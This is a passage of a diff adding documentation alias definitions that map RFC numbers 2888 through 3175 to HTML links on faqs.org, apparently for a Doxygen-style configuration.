+                         "RFC2888=<a href=\"http://www.faqs.org/rfcs/rfc2888.html\">RFC 2888</a>" \
+                         "RFC2889=<a href=\"http://www.faqs.org/rfcs/rfc2889.html\">RFC 2889</a>" \
+                         "RFC2890=<a href=\"http://www.faqs.org/rfcs/rfc2890.html\">RFC 2890</a>" \
+                         "RFC2891=<a href=\"http://www.faqs.org/rfcs/rfc2891.html\">RFC 2891</a>" \
+                         "RFC2892=<a href=\"http://www.faqs.org/rfcs/rfc2892.html\">RFC 2892</a>" \
+                         "RFC2893=<a href=\"http://www.faqs.org/rfcs/rfc2893.html\">RFC 2893</a>" \
+                         "RFC2894=<a href=\"http://www.faqs.org/rfcs/rfc2894.html\">RFC 2894</a>" \
+                         "RFC2895=<a href=\"http://www.faqs.org/rfcs/rfc2895.html\">RFC 2895</a>" \
+                         "RFC2896=<a href=\"http://www.faqs.org/rfcs/rfc2896.html\">RFC 2896</a>" \
+                         "RFC2897=<a href=\"http://www.faqs.org/rfcs/rfc2897.html\">RFC 2897</a>" \
+                         "RFC2898=<a href=\"http://www.faqs.org/rfcs/rfc2898.html\">RFC 2898</a>" \
+                         "RFC2899=<a href=\"http://www.faqs.org/rfcs/rfc2899.html\">RFC 2899</a>" \
+                         "RFC2900=<a href=\"http://www.faqs.org/rfcs/rfc2900.html\">RFC 2900</a>" \
+                         "RFC2901=<a href=\"http://www.faqs.org/rfcs/rfc2901.html\">RFC 2901</a>" \
+                         "RFC2902=<a href=\"http://www.faqs.org/rfcs/rfc2902.html\">RFC 2902</a>" \
+                         "RFC2903=<a href=\"http://www.faqs.org/rfcs/rfc2903.html\">RFC 2903</a>" \
+                         "RFC2904=<a href=\"http://www.faqs.org/rfcs/rfc2904.html\">RFC 2904</a>" \
+                         "RFC2905=<a href=\"http://www.faqs.org/rfcs/rfc2905.html\">RFC 2905</a>" \
+                         "RFC2906=<a href=\"http://www.faqs.org/rfcs/rfc2906.html\">RFC 2906</a>" \
+                         "RFC2907=<a href=\"http://www.faqs.org/rfcs/rfc2907.html\">RFC 2907</a>" \
+                         "RFC2908=<a href=\"http://www.faqs.org/rfcs/rfc2908.html\">RFC 2908</a>" \
+                         "RFC2909=<a href=\"http://www.faqs.org/rfcs/rfc2909.html\">RFC 2909</a>" \
+                         "RFC2910=<a href=\"http://www.faqs.org/rfcs/rfc2910.html\">RFC 2910</a>" \
+                         "RFC2911=<a href=\"http://www.faqs.org/rfcs/rfc2911.html\">RFC 2911</a>" \
+                         "RFC2912=<a href=\"http://www.faqs.org/rfcs/rfc2912.html\">RFC 2912</a>" \
+                         "RFC2913=<a href=\"http://www.faqs.org/rfcs/rfc2913.html\">RFC 2913</a>" \
+                         "RFC2914=<a href=\"http://www.faqs.org/rfcs/rfc2914.html\">RFC 2914</a>" \
+                         "RFC2915=<a href=\"http://www.faqs.org/rfcs/rfc2915.html\">RFC 2915</a>" \
+                         "RFC2916=<a href=\"http://www.faqs.org/rfcs/rfc2916.html\">RFC 2916</a>" \
+                         "RFC2917=<a href=\"http://www.faqs.org/rfcs/rfc2917.html\">RFC 2917</a>" \
+                         "RFC2918=<a href=\"http://www.faqs.org/rfcs/rfc2918.html\">RFC 2918</a>" \
+                         "RFC2919=<a href=\"http://www.faqs.org/rfcs/rfc2919.html\">RFC 2919</a>" \
+                         "RFC2920=<a href=\"http://www.faqs.org/rfcs/rfc2920.html\">RFC 2920</a>" \
+                         "RFC2921=<a href=\"http://www.faqs.org/rfcs/rfc2921.html\">RFC 2921</a>" \
+                         "RFC2922=<a href=\"http://www.faqs.org/rfcs/rfc2922.html\">RFC 2922</a>" \
+                         "RFC2923=<a href=\"http://www.faqs.org/rfcs/rfc2923.html\">RFC 2923</a>" \
+                         "RFC2924=<a href=\"http://www.faqs.org/rfcs/rfc2924.html\">RFC 2924</a>" \
+                         "RFC2925=<a href=\"http://www.faqs.org/rfcs/rfc2925.html\">RFC 2925</a>" \
+                         "RFC2926=<a href=\"http://www.faqs.org/rfcs/rfc2926.html\">RFC 2926</a>" \
+                         "RFC2927=<a href=\"http://www.faqs.org/rfcs/rfc2927.html\">RFC 2927</a>" \
+                         "RFC2928=<a href=\"http://www.faqs.org/rfcs/rfc2928.html\">RFC 2928</a>" \
+                         "RFC2929=<a href=\"http://www.faqs.org/rfcs/rfc2929.html\">RFC 2929</a>" \
+                         "RFC2930=<a href=\"http://www.faqs.org/rfcs/rfc2930.html\">RFC 2930</a>" \
+                         "RFC2931=<a href=\"http://www.faqs.org/rfcs/rfc2931.html\">RFC 2931</a>" \
+                         "RFC2932=<a href=\"http://www.faqs.org/rfcs/rfc2932.html\">RFC 2932</a>" \
+                         "RFC2933=<a href=\"http://www.faqs.org/rfcs/rfc2933.html\">RFC 2933</a>" \
+                         "RFC2934=<a href=\"http://www.faqs.org/rfcs/rfc2934.html\">RFC 2934</a>" \
+                         "RFC2935=<a href=\"http://www.faqs.org/rfcs/rfc2935.html\">RFC 2935</a>" \
+                         "RFC2936=<a href=\"http://www.faqs.org/rfcs/rfc2936.html\">RFC 2936</a>" \
+                         "RFC2937=<a href=\"http://www.faqs.org/rfcs/rfc2937.html\">RFC 2937</a>" \
+                         "RFC2938=<a href=\"http://www.faqs.org/rfcs/rfc2938.html\">RFC 2938</a>" \
+                         "RFC2939=<a href=\"http://www.faqs.org/rfcs/rfc2939.html\">RFC 2939</a>" \
+                         "RFC2940=<a href=\"http://www.faqs.org/rfcs/rfc2940.html\">RFC 2940</a>" \
+                         "RFC2941=<a href=\"http://www.faqs.org/rfcs/rfc2941.html\">RFC 2941</a>" \
+                         "RFC2942=<a href=\"http://www.faqs.org/rfcs/rfc2942.html\">RFC 2942</a>" \
+                         "RFC2943=<a href=\"http://www.faqs.org/rfcs/rfc2943.html\">RFC 2943</a>" \
+                         "RFC2944=<a href=\"http://www.faqs.org/rfcs/rfc2944.html\">RFC 2944</a>" \
+                         "RFC2945=<a href=\"http://www.faqs.org/rfcs/rfc2945.html\">RFC 2945</a>" \
+                         "RFC2946=<a href=\"http://www.faqs.org/rfcs/rfc2946.html\">RFC 2946</a>" \
+                         "RFC2947=<a href=\"http://www.faqs.org/rfcs/rfc2947.html\">RFC 2947</a>" \
+                         "RFC2948=<a href=\"http://www.faqs.org/rfcs/rfc2948.html\">RFC 2948</a>" \
+                         "RFC2949=<a href=\"http://www.faqs.org/rfcs/rfc2949.html\">RFC 2949</a>" \
+                         "RFC2950=<a href=\"http://www.faqs.org/rfcs/rfc2950.html\">RFC 2950</a>" \
+                         "RFC2951=<a href=\"http://www.faqs.org/rfcs/rfc2951.html\">RFC 2951</a>" \
+                         "RFC2952=<a href=\"http://www.faqs.org/rfcs/rfc2952.html\">RFC 2952</a>" \
+                         "RFC2953=<a href=\"http://www.faqs.org/rfcs/rfc2953.html\">RFC 2953</a>" \
+                         "RFC2954=<a href=\"http://www.faqs.org/rfcs/rfc2954.html\">RFC 2954</a>" \
+                         "RFC2955=<a href=\"http://www.faqs.org/rfcs/rfc2955.html\">RFC 2955</a>" \
+                         "RFC2956=<a href=\"http://www.faqs.org/rfcs/rfc2956.html\">RFC 2956</a>" \
+                         "RFC2957=<a href=\"http://www.faqs.org/rfcs/rfc2957.html\">RFC 2957</a>" \
+                         "RFC2958=<a href=\"http://www.faqs.org/rfcs/rfc2958.html\">RFC 2958</a>" \
+                         "RFC2959=<a href=\"http://www.faqs.org/rfcs/rfc2959.html\">RFC 2959</a>" \
+                         "RFC2960=<a href=\"http://www.faqs.org/rfcs/rfc2960.html\">RFC 2960</a>" \
+                         "RFC2961=<a href=\"http://www.faqs.org/rfcs/rfc2961.html\">RFC 2961</a>" \
+                         "RFC2962=<a href=\"http://www.faqs.org/rfcs/rfc2962.html\">RFC 2962</a>" \
+                         "RFC2963=<a href=\"http://www.faqs.org/rfcs/rfc2963.html\">RFC 2963</a>" \
+                         "RFC2964=<a href=\"http://www.faqs.org/rfcs/rfc2964.html\">RFC 2964</a>" \
+                         "RFC2965=<a href=\"http://www.faqs.org/rfcs/rfc2965.html\">RFC 2965</a>" \
+                         "RFC2966=<a href=\"http://www.faqs.org/rfcs/rfc2966.html\">RFC 2966</a>" \
+                         "RFC2967=<a href=\"http://www.faqs.org/rfcs/rfc2967.html\">RFC 2967</a>" \
+                         "RFC2968=<a href=\"http://www.faqs.org/rfcs/rfc2968.html\">RFC 2968</a>" \
+                         "RFC2969=<a href=\"http://www.faqs.org/rfcs/rfc2969.html\">RFC 2969</a>" \
+                         "RFC2970=<a href=\"http://www.faqs.org/rfcs/rfc2970.html\">RFC 2970</a>" \
+                         "RFC2971=<a href=\"http://www.faqs.org/rfcs/rfc2971.html\">RFC 2971</a>" \
+                         "RFC2972=<a href=\"http://www.faqs.org/rfcs/rfc2972.html\">RFC 2972</a>" \
+                         "RFC2973=<a href=\"http://www.faqs.org/rfcs/rfc2973.html\">RFC 2973</a>" \
+                         "RFC2974=<a href=\"http://www.faqs.org/rfcs/rfc2974.html\">RFC 2974</a>" \
+                         "RFC2975=<a href=\"http://www.faqs.org/rfcs/rfc2975.html\">RFC 2975</a>" \
+                         "RFC2976=<a href=\"http://www.faqs.org/rfcs/rfc2976.html\">RFC 2976</a>" \
+                         "RFC2977=<a href=\"http://www.faqs.org/rfcs/rfc2977.html\">RFC 2977</a>" \
+                         "RFC2978=<a href=\"http://www.faqs.org/rfcs/rfc2978.html\">RFC 2978</a>" \
+                         "RFC2979=<a href=\"http://www.faqs.org/rfcs/rfc2979.html\">RFC 2979</a>" \
+                         "RFC2980=<a href=\"http://www.faqs.org/rfcs/rfc2980.html\">RFC 2980</a>" \
+                         "RFC2981=<a href=\"http://www.faqs.org/rfcs/rfc2981.html\">RFC 2981</a>" \
+                         "RFC2982=<a href=\"http://www.faqs.org/rfcs/rfc2982.html\">RFC 2982</a>" \
+                         "RFC2983=<a href=\"http://www.faqs.org/rfcs/rfc2983.html\">RFC 2983</a>" \
+                         "RFC2984=<a href=\"http://www.faqs.org/rfcs/rfc2984.html\">RFC 2984</a>" \
+                         "RFC2985=<a href=\"http://www.faqs.org/rfcs/rfc2985.html\">RFC 2985</a>" \
+                         "RFC2986=<a href=\"http://www.faqs.org/rfcs/rfc2986.html\">RFC 2986</a>" \
+                         "RFC2987=<a href=\"http://www.faqs.org/rfcs/rfc2987.html\">RFC 2987</a>" \
+                         "RFC2988=<a href=\"http://www.faqs.org/rfcs/rfc2988.html\">RFC 2988</a>" \
+                         "RFC2989=<a href=\"http://www.faqs.org/rfcs/rfc2989.html\">RFC 2989</a>" \
+                         "RFC2990=<a href=\"http://www.faqs.org/rfcs/rfc2990.html\">RFC 2990</a>" \
+                         "RFC2991=<a href=\"http://www.faqs.org/rfcs/rfc2991.html\">RFC 2991</a>" \
+                         "RFC2992=<a href=\"http://www.faqs.org/rfcs/rfc2992.html\">RFC 2992</a>" \
+                         "RFC2993=<a href=\"http://www.faqs.org/rfcs/rfc2993.html\">RFC 2993</a>" \
+                         "RFC2994=<a href=\"http://www.faqs.org/rfcs/rfc2994.html\">RFC 2994</a>" \
+                         "RFC2995=<a href=\"http://www.faqs.org/rfcs/rfc2995.html\">RFC 2995</a>" \
+                         "RFC2996=<a href=\"http://www.faqs.org/rfcs/rfc2996.html\">RFC 2996</a>" \
+                         "RFC2997=<a href=\"http://www.faqs.org/rfcs/rfc2997.html\">RFC 2997</a>" \
+                         "RFC2998=<a href=\"http://www.faqs.org/rfcs/rfc2998.html\">RFC 2998</a>" \
+                         "RFC2999=<a href=\"http://www.faqs.org/rfcs/rfc2999.html\">RFC 2999</a>" \
+                         "RFC3000=<a href=\"http://www.faqs.org/rfcs/rfc3000.html\">RFC 3000</a>" \
+                         "RFC3001=<a href=\"http://www.faqs.org/rfcs/rfc3001.html\">RFC 3001</a>" \
+                         "RFC3002=<a href=\"http://www.faqs.org/rfcs/rfc3002.html\">RFC 3002</a>" \
+                         "RFC3003=<a href=\"http://www.faqs.org/rfcs/rfc3003.html\">RFC 3003</a>" \
+                         "RFC3004=<a href=\"http://www.faqs.org/rfcs/rfc3004.html\">RFC 3004</a>" \
+                         "RFC3005=<a href=\"http://www.faqs.org/rfcs/rfc3005.html\">RFC 3005</a>" \
+                         "RFC3006=<a href=\"http://www.faqs.org/rfcs/rfc3006.html\">RFC 3006</a>" \
+                         "RFC3007=<a href=\"http://www.faqs.org/rfcs/rfc3007.html\">RFC 3007</a>" \
+                         "RFC3008=<a href=\"http://www.faqs.org/rfcs/rfc3008.html\">RFC 3008</a>" \
+                         "RFC3009=<a href=\"http://www.faqs.org/rfcs/rfc3009.html\">RFC 3009</a>" \
+                         "RFC3010=<a href=\"http://www.faqs.org/rfcs/rfc3010.html\">RFC 3010</a>" \
+                         "RFC3011=<a href=\"http://www.faqs.org/rfcs/rfc3011.html\">RFC 3011</a>" \
+                         "RFC3012=<a href=\"http://www.faqs.org/rfcs/rfc3012.html\">RFC 3012</a>" \
+                         "RFC3013=<a href=\"http://www.faqs.org/rfcs/rfc3013.html\">RFC 3013</a>" \
+                         "RFC3014=<a href=\"http://www.faqs.org/rfcs/rfc3014.html\">RFC 3014</a>" \
+                         "RFC3015=<a href=\"http://www.faqs.org/rfcs/rfc3015.html\">RFC 3015</a>" \
+                         "RFC3016=<a href=\"http://www.faqs.org/rfcs/rfc3016.html\">RFC 3016</a>" \
+                         "RFC3017=<a href=\"http://www.faqs.org/rfcs/rfc3017.html\">RFC 3017</a>" \
+                         "RFC3018=<a href=\"http://www.faqs.org/rfcs/rfc3018.html\">RFC 3018</a>" \
+                         "RFC3019=<a href=\"http://www.faqs.org/rfcs/rfc3019.html\">RFC 3019</a>" \
+                         "RFC3020=<a href=\"http://www.faqs.org/rfcs/rfc3020.html\">RFC 3020</a>" \
+                         "RFC3021=<a href=\"http://www.faqs.org/rfcs/rfc3021.html\">RFC 3021</a>" \
+                         "RFC3022=<a href=\"http://www.faqs.org/rfcs/rfc3022.html\">RFC 3022</a>" \
+                         "RFC3023=<a href=\"http://www.faqs.org/rfcs/rfc3023.html\">RFC 3023</a>" \
+                         "RFC3024=<a href=\"http://www.faqs.org/rfcs/rfc3024.html\">RFC 3024</a>" \
+                         "RFC3025=<a href=\"http://www.faqs.org/rfcs/rfc3025.html\">RFC 3025</a>" \
+                         "RFC3026=<a href=\"http://www.faqs.org/rfcs/rfc3026.html\">RFC 3026</a>" \
+                         "RFC3027=<a href=\"http://www.faqs.org/rfcs/rfc3027.html\">RFC 3027</a>" \
+                         "RFC3028=<a href=\"http://www.faqs.org/rfcs/rfc3028.html\">RFC 3028</a>" \
+                         "RFC3029=<a href=\"http://www.faqs.org/rfcs/rfc3029.html\">RFC 3029</a>" \
+                         "RFC3030=<a href=\"http://www.faqs.org/rfcs/rfc3030.html\">RFC 3030</a>" \
+                         "RFC3031=<a href=\"http://www.faqs.org/rfcs/rfc3031.html\">RFC 3031</a>" \
+                         "RFC3032=<a href=\"http://www.faqs.org/rfcs/rfc3032.html\">RFC 3032</a>" \
+                         "RFC3033=<a href=\"http://www.faqs.org/rfcs/rfc3033.html\">RFC 3033</a>" \
+                         "RFC3034=<a href=\"http://www.faqs.org/rfcs/rfc3034.html\">RFC 3034</a>" \
+                         "RFC3035=<a href=\"http://www.faqs.org/rfcs/rfc3035.html\">RFC 3035</a>" \
+                         "RFC3036=<a href=\"http://www.faqs.org/rfcs/rfc3036.html\">RFC 3036</a>" \
+                         "RFC3037=<a href=\"http://www.faqs.org/rfcs/rfc3037.html\">RFC 3037</a>" \
+                         "RFC3038=<a href=\"http://www.faqs.org/rfcs/rfc3038.html\">RFC 3038</a>" \
+                         "RFC3039=<a href=\"http://www.faqs.org/rfcs/rfc3039.html\">RFC 3039</a>" \
+                         "RFC3040=<a href=\"http://www.faqs.org/rfcs/rfc3040.html\">RFC 3040</a>" \
+                         "RFC3041=<a href=\"http://www.faqs.org/rfcs/rfc3041.html\">RFC 3041</a>" \
+                         "RFC3042=<a href=\"http://www.faqs.org/rfcs/rfc3042.html\">RFC 3042</a>" \
+                         "RFC3043=<a href=\"http://www.faqs.org/rfcs/rfc3043.html\">RFC 3043</a>" \
+                         "RFC3044=<a href=\"http://www.faqs.org/rfcs/rfc3044.html\">RFC 3044</a>" \
+                         "RFC3045=<a href=\"http://www.faqs.org/rfcs/rfc3045.html\">RFC 3045</a>" \
+                         "RFC3046=<a href=\"http://www.faqs.org/rfcs/rfc3046.html\">RFC 3046</a>" \
+                         "RFC3047=<a href=\"http://www.faqs.org/rfcs/rfc3047.html\">RFC 3047</a>" \
+                         "RFC3048=<a href=\"http://www.faqs.org/rfcs/rfc3048.html\">RFC 3048</a>" \
+                         "RFC3049=<a href=\"http://www.faqs.org/rfcs/rfc3049.html\">RFC 3049</a>" \
+                         "RFC3050=<a href=\"http://www.faqs.org/rfcs/rfc3050.html\">RFC 3050</a>" \
+                         "RFC3051=<a href=\"http://www.faqs.org/rfcs/rfc3051.html\">RFC 3051</a>" \
+                         "RFC3052=<a href=\"http://www.faqs.org/rfcs/rfc3052.html\">RFC 3052</a>" \
+                         "RFC3053=<a href=\"http://www.faqs.org/rfcs/rfc3053.html\">RFC 3053</a>" \
+                         "RFC3054=<a href=\"http://www.faqs.org/rfcs/rfc3054.html\">RFC 3054</a>" \
+                         "RFC3055=<a href=\"http://www.faqs.org/rfcs/rfc3055.html\">RFC 3055</a>" \
+                         "RFC3056=<a href=\"http://www.faqs.org/rfcs/rfc3056.html\">RFC 3056</a>" \
+                         "RFC3057=<a href=\"http://www.faqs.org/rfcs/rfc3057.html\">RFC 3057</a>" \
+                         "RFC3058=<a href=\"http://www.faqs.org/rfcs/rfc3058.html\">RFC 3058</a>" \
+                         "RFC3059=<a href=\"http://www.faqs.org/rfcs/rfc3059.html\">RFC 3059</a>" \
+                         "RFC3060=<a href=\"http://www.faqs.org/rfcs/rfc3060.html\">RFC 3060</a>" \
+                         "RFC3061=<a href=\"http://www.faqs.org/rfcs/rfc3061.html\">RFC 3061</a>" \
+                         "RFC3062=<a href=\"http://www.faqs.org/rfcs/rfc3062.html\">RFC 3062</a>" \
+                         "RFC3063=<a href=\"http://www.faqs.org/rfcs/rfc3063.html\">RFC 3063</a>" \
+                         "RFC3064=<a href=\"http://www.faqs.org/rfcs/rfc3064.html\">RFC 3064</a>" \
+                         "RFC3065=<a href=\"http://www.faqs.org/rfcs/rfc3065.html\">RFC 3065</a>" \
+                         "RFC3066=<a href=\"http://www.faqs.org/rfcs/rfc3066.html\">RFC 3066</a>" \
+                         "RFC3067=<a href=\"http://www.faqs.org/rfcs/rfc3067.html\">RFC 3067</a>" \
+                         "RFC3068=<a href=\"http://www.faqs.org/rfcs/rfc3068.html\">RFC 3068</a>" \
+                         "RFC3069=<a href=\"http://www.faqs.org/rfcs/rfc3069.html\">RFC 3069</a>" \
+                         "RFC3070=<a href=\"http://www.faqs.org/rfcs/rfc3070.html\">RFC 3070</a>" \
+                         "RFC3071=<a href=\"http://www.faqs.org/rfcs/rfc3071.html\">RFC 3071</a>" \
+                         "RFC3072=<a href=\"http://www.faqs.org/rfcs/rfc3072.html\">RFC 3072</a>" \
+                         "RFC3073=<a href=\"http://www.faqs.org/rfcs/rfc3073.html\">RFC 3073</a>" \
+                         "RFC3074=<a href=\"http://www.faqs.org/rfcs/rfc3074.html\">RFC 3074</a>" \
+                         "RFC3075=<a href=\"http://www.faqs.org/rfcs/rfc3075.html\">RFC 3075</a>" \
+                         "RFC3076=<a href=\"http://www.faqs.org/rfcs/rfc3076.html\">RFC 3076</a>" \
+                         "RFC3077=<a href=\"http://www.faqs.org/rfcs/rfc3077.html\">RFC 3077</a>" \
+                         "RFC3078=<a href=\"http://www.faqs.org/rfcs/rfc3078.html\">RFC 3078</a>" \
+                         "RFC3079=<a href=\"http://www.faqs.org/rfcs/rfc3079.html\">RFC 3079</a>" \
+                         "RFC3080=<a href=\"http://www.faqs.org/rfcs/rfc3080.html\">RFC 3080</a>" \
+                         "RFC3081=<a href=\"http://www.faqs.org/rfcs/rfc3081.html\">RFC 3081</a>" \
+                         "RFC3082=<a href=\"http://www.faqs.org/rfcs/rfc3082.html\">RFC 3082</a>" \
+                         "RFC3083=<a href=\"http://www.faqs.org/rfcs/rfc3083.html\">RFC 3083</a>" \
+                         "RFC3084=<a href=\"http://www.faqs.org/rfcs/rfc3084.html\">RFC 3084</a>" \
+                         "RFC3085=<a href=\"http://www.faqs.org/rfcs/rfc3085.html\">RFC 3085</a>" \
+                         "RFC3086=<a href=\"http://www.faqs.org/rfcs/rfc3086.html\">RFC 3086</a>" \
+                         "RFC3087=<a href=\"http://www.faqs.org/rfcs/rfc3087.html\">RFC 3087</a>" \
+                         "RFC3088=<a href=\"http://www.faqs.org/rfcs/rfc3088.html\">RFC 3088</a>" \
+                         "RFC3089=<a href=\"http://www.faqs.org/rfcs/rfc3089.html\">RFC 3089</a>" \
+                         "RFC3090=<a href=\"http://www.faqs.org/rfcs/rfc3090.html\">RFC 3090</a>" \
+                         "RFC3091=<a href=\"http://www.faqs.org/rfcs/rfc3091.html\">RFC 3091</a>" \
+                         "RFC3092=<a href=\"http://www.faqs.org/rfcs/rfc3092.html\">RFC 3092</a>" \
+                         "RFC3093=<a href=\"http://www.faqs.org/rfcs/rfc3093.html\">RFC 3093</a>" \
+                         "RFC3094=<a href=\"http://www.faqs.org/rfcs/rfc3094.html\">RFC 3094</a>" \
+                         "RFC3095=<a href=\"http://www.faqs.org/rfcs/rfc3095.html\">RFC 3095</a>" \
+                         "RFC3096=<a href=\"http://www.faqs.org/rfcs/rfc3096.html\">RFC 3096</a>" \
+                         "RFC3097=<a href=\"http://www.faqs.org/rfcs/rfc3097.html\">RFC 3097</a>" \
+                         "RFC3098=<a href=\"http://www.faqs.org/rfcs/rfc3098.html\">RFC 3098</a>" \
+                         "RFC3099=<a href=\"http://www.faqs.org/rfcs/rfc3099.html\">RFC 3099</a>" \
+                         "RFC3100=<a href=\"http://www.faqs.org/rfcs/rfc3100.html\">RFC 3100</a>" \
+                         "RFC3101=<a href=\"http://www.faqs.org/rfcs/rfc3101.html\">RFC 3101</a>" \
+                         "RFC3102=<a href=\"http://www.faqs.org/rfcs/rfc3102.html\">RFC 3102</a>" \
+                         "RFC3103=<a href=\"http://www.faqs.org/rfcs/rfc3103.html\">RFC 3103</a>" \
+                         "RFC3104=<a href=\"http://www.faqs.org/rfcs/rfc3104.html\">RFC 3104</a>" \
+                         "RFC3105=<a href=\"http://www.faqs.org/rfcs/rfc3105.html\">RFC 3105</a>" \
+                         "RFC3106=<a href=\"http://www.faqs.org/rfcs/rfc3106.html\">RFC 3106</a>" \
+                         "RFC3107=<a href=\"http://www.faqs.org/rfcs/rfc3107.html\">RFC 3107</a>" \
+                         "RFC3108=<a href=\"http://www.faqs.org/rfcs/rfc3108.html\">RFC 3108</a>" \
+                         "RFC3109=<a href=\"http://www.faqs.org/rfcs/rfc3109.html\">RFC 3109</a>" \
+                         "RFC3110=<a href=\"http://www.faqs.org/rfcs/rfc3110.html\">RFC 3110</a>" \
+                         "RFC3111=<a href=\"http://www.faqs.org/rfcs/rfc3111.html\">RFC 3111</a>" \
+                         "RFC3112=<a href=\"http://www.faqs.org/rfcs/rfc3112.html\">RFC 3112</a>" \
+                         "RFC3113=<a href=\"http://www.faqs.org/rfcs/rfc3113.html\">RFC 3113</a>" \
+                         "RFC3114=<a href=\"http://www.faqs.org/rfcs/rfc3114.html\">RFC 3114</a>" \
+                         "RFC3115=<a href=\"http://www.faqs.org/rfcs/rfc3115.html\">RFC 3115</a>" \
+                         "RFC3116=<a href=\"http://www.faqs.org/rfcs/rfc3116.html\">RFC 3116</a>" \
+                         "RFC3117=<a href=\"http://www.faqs.org/rfcs/rfc3117.html\">RFC 3117</a>" \
+                         "RFC3118=<a href=\"http://www.faqs.org/rfcs/rfc3118.html\">RFC 3118</a>" \
+                         "RFC3119=<a href=\"http://www.faqs.org/rfcs/rfc3119.html\">RFC 3119</a>" \
+                         "RFC3120=<a href=\"http://www.faqs.org/rfcs/rfc3120.html\">RFC 3120</a>" \
+                         "RFC3121=<a href=\"http://www.faqs.org/rfcs/rfc3121.html\">RFC 3121</a>" \
+                         "RFC3122=<a href=\"http://www.faqs.org/rfcs/rfc3122.html\">RFC 3122</a>" \
+                         "RFC3123=<a href=\"http://www.faqs.org/rfcs/rfc3123.html\">RFC 3123</a>" \
+                         "RFC3124=<a href=\"http://www.faqs.org/rfcs/rfc3124.html\">RFC 3124</a>" \
+                         "RFC3125=<a href=\"http://www.faqs.org/rfcs/rfc3125.html\">RFC 3125</a>" \
+                         "RFC3126=<a href=\"http://www.faqs.org/rfcs/rfc3126.html\">RFC 3126</a>" \
+                         "RFC3127=<a href=\"http://www.faqs.org/rfcs/rfc3127.html\">RFC 3127</a>" \
+                         "RFC3128=<a href=\"http://www.faqs.org/rfcs/rfc3128.html\">RFC 3128</a>" \
+                         "RFC3129=<a href=\"http://www.faqs.org/rfcs/rfc3129.html\">RFC 3129</a>" \
+                         "RFC3130=<a href=\"http://www.faqs.org/rfcs/rfc3130.html\">RFC 3130</a>" \
+                         "RFC3131=<a href=\"http://www.faqs.org/rfcs/rfc3131.html\">RFC 3131</a>" \
+                         "RFC3132=<a href=\"http://www.faqs.org/rfcs/rfc3132.html\">RFC 3132</a>" \
+                         "RFC3133=<a href=\"http://www.faqs.org/rfcs/rfc3133.html\">RFC 3133</a>" \
+                         "RFC3134=<a href=\"http://www.faqs.org/rfcs/rfc3134.html\">RFC 3134</a>" \
+                         "RFC3135=<a href=\"http://www.faqs.org/rfcs/rfc3135.html\">RFC 3135</a>" \
+                         "RFC3136=<a href=\"http://www.faqs.org/rfcs/rfc3136.html\">RFC 3136</a>" \
+                         "RFC3137=<a href=\"http://www.faqs.org/rfcs/rfc3137.html\">RFC 3137</a>" \
+                         "RFC3138=<a href=\"http://www.faqs.org/rfcs/rfc3138.html\">RFC 3138</a>" \
+                         "RFC3139=<a href=\"http://www.faqs.org/rfcs/rfc3139.html\">RFC 3139</a>" \
+                         "RFC3140=<a href=\"http://www.faqs.org/rfcs/rfc3140.html\">RFC 3140</a>" \
+                         "RFC3141=<a href=\"http://www.faqs.org/rfcs/rfc3141.html\">RFC 3141</a>" \
+                         "RFC3142=<a href=\"http://www.faqs.org/rfcs/rfc3142.html\">RFC 3142</a>" \
+                         "RFC3143=<a href=\"http://www.faqs.org/rfcs/rfc3143.html\">RFC 3143</a>" \
+                         "RFC3144=<a href=\"http://www.faqs.org/rfcs/rfc3144.html\">RFC 3144</a>" \
+                         "RFC3145=<a href=\"http://www.faqs.org/rfcs/rfc3145.html\">RFC 3145</a>" \
+                         "RFC3146=<a href=\"http://www.faqs.org/rfcs/rfc3146.html\">RFC 3146</a>" \
+                         "RFC3147=<a href=\"http://www.faqs.org/rfcs/rfc3147.html\">RFC 3147</a>" \
+                         "RFC3148=<a href=\"http://www.faqs.org/rfcs/rfc3148.html\">RFC 3148</a>" \
+                         "RFC3149=<a href=\"http://www.faqs.org/rfcs/rfc3149.html\">RFC 3149</a>" \
+                         "RFC3150=<a href=\"http://www.faqs.org/rfcs/rfc3150.html\">RFC 3150</a>" \
+                         "RFC3151=<a href=\"http://www.faqs.org/rfcs/rfc3151.html\">RFC 3151</a>" \
+                         "RFC3152=<a href=\"http://www.faqs.org/rfcs/rfc3152.html\">RFC 3152</a>" \
+                         "RFC3153=<a href=\"http://www.faqs.org/rfcs/rfc3153.html\">RFC 3153</a>" \
+                         "RFC3154=<a href=\"http://www.faqs.org/rfcs/rfc3154.html\">RFC 3154</a>" \
+                         "RFC3155=<a href=\"http://www.faqs.org/rfcs/rfc3155.html\">RFC 3155</a>" \
+                         "RFC3156=<a href=\"http://www.faqs.org/rfcs/rfc3156.html\">RFC 3156</a>" \
+                         "RFC3157=<a href=\"http://www.faqs.org/rfcs/rfc3157.html\">RFC 3157</a>" \
+                         "RFC3158=<a href=\"http://www.faqs.org/rfcs/rfc3158.html\">RFC 3158</a>" \
+                         "RFC3159=<a href=\"http://www.faqs.org/rfcs/rfc3159.html\">RFC 3159</a>" \
+                         "RFC3160=<a href=\"http://www.faqs.org/rfcs/rfc3160.html\">RFC 3160</a>" \
+                         "RFC3161=<a href=\"http://www.faqs.org/rfcs/rfc3161.html\">RFC 3161</a>" \
+                         "RFC3162=<a href=\"http://www.faqs.org/rfcs/rfc3162.html\">RFC 3162</a>" \
+                         "RFC3163=<a href=\"http://www.faqs.org/rfcs/rfc3163.html\">RFC 3163</a>" \
+                         "RFC3164=<a href=\"http://www.faqs.org/rfcs/rfc3164.html\">RFC 3164</a>" \
+                         "RFC3165=<a href=\"http://www.faqs.org/rfcs/rfc3165.html\">RFC 3165</a>" \
+                         "RFC3166=<a href=\"http://www.faqs.org/rfcs/rfc3166.html\">RFC 3166</a>" \
+                         "RFC3167=<a href=\"http://www.faqs.org/rfcs/rfc3167.html\">RFC 3167</a>" \
+                         "RFC3168=<a href=\"http://www.faqs.org/rfcs/rfc3168.html\">RFC 3168</a>" \
+                         "RFC3169=<a href=\"http://www.faqs.org/rfcs/rfc3169.html\">RFC 3169</a>" \
+                         "RFC3170=<a href=\"http://www.faqs.org/rfcs/rfc3170.html\">RFC 3170</a>" \
+                         "RFC3171=<a href=\"http://www.faqs.org/rfcs/rfc3171.html\">RFC 3171</a>" \
+                         "RFC3172=<a href=\"http://www.faqs.org/rfcs/rfc3172.html\">RFC 3172</a>" \
+                         "RFC3173=<a href=\"http://www.faqs.org/rfcs/rfc3173.html\">RFC 3173</a>" \
+                         "RFC3174=<a href=\"http://www.faqs.org/rfcs/rfc3174.html\">RFC 3174</a>" \
+                         "RFC3175=<a href=\"http://www.faqs.org/rfcs/rfc3175.html\">RFC 3175</a>" \
